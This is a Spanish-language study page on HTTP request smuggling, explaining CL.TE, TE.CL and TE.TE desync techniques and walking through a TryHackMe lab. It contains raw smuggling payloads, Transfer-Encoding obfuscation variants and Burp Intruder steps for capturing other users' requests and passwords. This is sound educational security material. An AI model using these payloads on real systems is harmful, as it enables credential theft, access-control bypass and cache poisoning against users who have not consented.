HTTP Request Smuggling
HTTP Request Smuggling (también llamado HTTP Desync o Request Desynchronization) es una vulnerabilidad que surge cuando distintos componentes de la infraestructura web —proxies, load…
Definición
HTTP Request Smuggling (también llamado HTTP Desync o Request Desynchronization) es una vulnerabilidad que surge cuando distintos componentes de la infraestructura web —proxies, load balancers, servidores— interpretan de forma inconsistente los límites de las peticiones HTTP. El resultado es que una petición es “colada” (smuggled) dentro de otra: el servidor back-end procesa contenido que el front-end nunca autorizó como request independiente.
La vulnerabilidad gira en torno a los headers Content-Length (CL) y Transfer-Encoding (TE), que indican dónde termina el cuerpo de una petición HTTP/1.1.
Contexto
Por qué es posible
- Keep-Alive y HTTP Pipelining: permiten enviar múltiples peticiones sobre la misma conexión TCP sin esperar respuesta entre ellas. Sin estas características, el smuggling no sería factible.
- Infraestructura multi-capa: las aplicaciones modernas tienen un front-end (reverse proxy o load balancer) delante del back-end (servidor de aplicaciones). Cada capa puede interpretar los headers de forma diferente.
- Ambigüedad en HTTP/1.1: cuando
Content-LengthyTransfer-Encodingestán presentes simultáneamente en una petición, el comportamiento del servidor es ambiguo por diseño del protocolo.
Componentes de infraestructura moderna
| Componente | Ejemplos | Rol en el smuggling |
|---|---|---|
| Front-end / Reverse Proxy | NGINX, Apache mod_proxy, Varnish, HAProxy | Primer punto de interpretación del request |
| Load Balancer | AWS ELB, F5 BIG-IP, HAProxy | Distribuye tráfico; puede tener parsing diferente al back-end |
| Back-end Server | PHP/Laravel, Python/Django, Node.js | Procesador final; puede priorizar TE sobre CL o viceversa |
| Caché | CDN, Varnish, edge caches | Puede almacenar contenido smuggled y distribuirlo a otros usuarios |
Impacto
- Bypass de WAF y controles de seguridad del front-end.
- Cache poisoning: envenenamiento de caché para servir contenido malicioso a todos los usuarios.
- Captura de peticiones de otros usuarios (robo de sesiones, credenciales).
- Acceso no autorizado a recursos protegidos.
- Encadenamiento con otras vulnerabilidades (escalada de privilegios, SSRF, XSS).
- Alta dificultad de detección: puede pasar desapercibido durante largo tiempo.
Desarrollo
Estructura de una petición HTTP/1.1
Toda petición HTTP tiene tres partes:
- Request Line: método + path + versión. Ejemplo:
POST /admin/login HTTP/1.1. - Request Headers: metadatos sobre la petición (Content-Type, Content-Length, Transfer-Encoding, autenticación, etc.).
- Message Body: contenido real del request (form data, JSON, uploads). Puede estar vacío en GET.
Content-Length (CL)
Indica el tamaño exacto en bytes del body. El servidor lee exactamente ese número de bytes.
POST /submit HTTP/1.1Host: good.comContent-Type: application/x-www-form-urlencodedContent-Length: 14
q=smuggledDataEl servidor leerá exactamente 14 bytes de body (q=smuggledData).
Transfer-Encoding: chunked (TE)
El body se divide en fragmentos (chunks). Cada chunk va precedido por su tamaño en hexadecimal. Un chunk de tamaño 0 marca el fin del body.
POST /submit HTTP/1.1Host: good.comContent-Type: application/x-www-form-urlencodedTransfer-Encoding: chunked
bq=smuggledData0b en hexadecimal = 11 en decimal = tamaño de q=smuggledData. La línea 0 termina el body. Los caracteres \r\n forman parte del cálculo de tamaño.
Técnica CL.TE
Front-end usa Content-Length → Back-end usa Transfer-Encoding.
El front-end lee N bytes según CL y los reenvía al back-end como un único request. El back-end, usando TE chunked, encuentra el chunk 0 y termina el primer request ahí; el resto del body lo trata como el inicio de un nuevo request independiente.
POST /search HTTP/1.1Host: example.comContent-Length: 130Transfer-Encoding: chunked
0
POST /update HTTP/1.1Host: example.comContent-Length: 13Content-Type: application/x-www-form-urlencoded
isadmin=true- Front-end (usa CL=130): ve un único request de 130 bytes y lo reenvía completo al back-end.
- Back-end (usa TE): el chunk
0termina el primer request.POST /update...isadmin=true→ nuevo request, procesado como si el atacante lo hubiera enviado de forma independiente.
Nota: Si Content-Length no coincide con el tamaño real del payload, el back-end procesará el request parcialmente. Hay que calcular el CL exacto, teniendo en cuenta los caracteres \r\n.
Técnica TE.CL
Front-end usa Transfer-Encoding → Back-end usa Content-Length.
Es el caso inverso. El front-end procesa el chunked y reenvía todo al back-end. El back-end solo lee los bytes indicados por CL y trata el resto como un nuevo request.
POST / HTTP/1.1Host: example.comContent-Length: 4Transfer-Encoding: chunked
78POST /update HTTP/1.1Host: example.comContent-Type: application/x-www-form-urlencodedContent-Length: 15
isadmin=true0- Front-end (usa TE): chunk
78(hex = 120 bytes) hasta el0→ un solo request completo. - Back-end (usa CL=4): lee solo los primeros 4 bytes (
78\r\n). El resto (POST /update...isadmin=true) → nuevo request independiente.
Técnica TE.TE (Transfer Encoding Obfuscation)
Ambos servidores usan Transfer-Encoding, pero el atacante incluye un TE malformado o múltiples headers TE, haciendo que uno de los servidores rechace el TE inválido y caiga a usar Content-Length. Dependiendo de qué servidor rechaza el TE, se genera una situación CL.TE o TE.CL.
POST / HTTP/1.1Host: example.comContent-length: 4Transfer-Encoding: chunkedTransfer-Encoding: chunked1
4ePOST /update HTTP/1.1Host: example.comContent-length: 15
isadmin=true0- El front-end puede ignorar
chunked1(inválido) y procesar el request en base al primer TE válido. - El back-end puede rechazar el TE malformado y caer a CL=4, creando el desync.
Variantes comunes de TE obfuscation: Transfer-Encoding: xchunked, Transfer-Encoding : chunked (espacio antes del :), Transfer-Encoding: chunked con carácter nulo o tab, header en mayúsculas (X-Transfer-Encoding), etc.
Ejemplos
Walkthrough — ATS + NGINX + PHP (TryHackMe Lab)
Entorno: Apache Traffic Server (ATS) como front-end proxy, Nginx como back-end, PHP para contenido dinámico. ATS prioriza Content-Length; Nginx prioriza Transfer-Encoding → vulnerabilidad CL.TE.
Objetivo: Capturar las peticiones (incluyendo credenciales) de otros usuarios mediante el endpoint /contact.php.
Pasos:
- Añadir entrada al
/etc/hosts:MACHINE_IP httprequestsmuggling.thm. - Interceptar una petición al index con Burp Suite Proxy.
- Enviar al Intruder y usar el siguiente payload CL.TE:
POST / HTTP/1.1Host: httprequestsmuggling.thmContent-Type: application/x-www-form-urlencodedContent-Length: 160Transfer-Encoding: chunked
0
POST /contact.php HTTP/1.1Host: httprequestsmuggling.thmContent-Type: application/x-www-form-urlencodedContent-Length: 500
username=test&query=§- Configurar en Intruder: Payload type → Null payloads, generar 10000. En Resource Pool: 1 conexión simultánea (para enviar sin demora entre requests).
- Lanzar el ataque. ATS (front-end) usa CL=160 y reenvía todo el body; Nginx (back-end) termina el primer request en el chunk
0, dejando el segundo POST en cola. Cuando otro usuario hace cualquier petición, su request se appenda al body dequery=. - Revisar el directorio
/submissionsde la aplicación para ver los archivos.txtcon las peticiones capturadas, incluyendo la contraseña de otros usuarios.
Mecanismo de captura: El parámetro query=§ actúa como receptor. El request de la próxima víctima que llega al back-end se appenda al valor de query, guardándose completo en el archivo de submissions.
Pitfalls
- Herramientas que auto-corrigen Content-Length: Burp Suite Repeater e Intruder pueden sobreescribir el CL automáticamente. Desactivar la opción “Update Content-Length” antes de enviar payloads de smuggling.
- Riesgo en producción: el testing puede romper la aplicación (cache poisoning involuntario, peticiones de usuarios fallando, pipeline del back-end completamente desynced). Testear solo en entornos de laboratorio o con permiso explícito y ventana de mantenimiento.
- CL incorrecto: si el CL del payload smuggled no es exacto, el back-end procesará el request parcialmente. Los caracteres
\r\ncuentan en el tamaño; calcular con cuidado. - El tester puede capturarse a sí mismo: durante el ataque, si el tester hace otra petición desde el mismo browser/herramienta, puede capturar su propio request en lugar del de la víctima.
- Chunked mal terminado: el body chunked debe terminar con
0\r\n\r\n(chunk de tamaño 0 + doble CRLF). Si falta, el back-end esperará más datos y la conexión quedará colgada. - Keep-alive requerido: sin conexiones keep-alive o pipelining, el smuggling no es posible. Confirmar que la infraestructura las usa.
Diagrama
sequenceDiagram
participant A as Atacante
participant FE as Front-End (ATS/Proxy)<br/>usa Content-Length
participant BE as Back-End (Nginx)<br/>usa Transfer-Encoding
Note over A,BE: Técnica CL.TE — Envío del payload
A->>FE: POST / CL:160 TE:chunked<br/>[body: chunk0 + POST /contact.php...]
FE->>FE: Ve CL=160 → un solo request de 160 bytes
FE->>BE: Reenvía 160 bytes (pipeline, keep-alive)
BE->>BE: Usa TE chunked → chunk '0' termina primer request
BE->>BE: Resto del body → 2º request en cola (POST /contact.php)
Note over A,BE: Captura de usuario víctima
participant V as Víctima
V->>FE: GET /any HTTP/1.1 (petición normal)
FE->>BE: Reenvía request de víctima
BE->>BE: Se appenda al body del POST /contact.php smuggled
BE->>BE: query=<request completo de la víctima> → guardado en /submissions
Referencias
- TryHackMe — HTTP Request Smuggling: https://tryhackme.com/room/httprequestsmuggling
- PortSwigger Web Security Academy — Request Smuggling: https://portswigger.net/web-security/request-smuggling
- RFC 7230 — HTTP/1.1 Message Syntax and Routing: https://datatracker.ietf.org/doc/html/rfc7230
- James Kettle — HTTP Desync Attacks (PortSwigger Research): https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn
Ver también: HTTP2 Request Smuggling, WebSocket Request Smuggling, HTTP Browser Desync, Burp Suite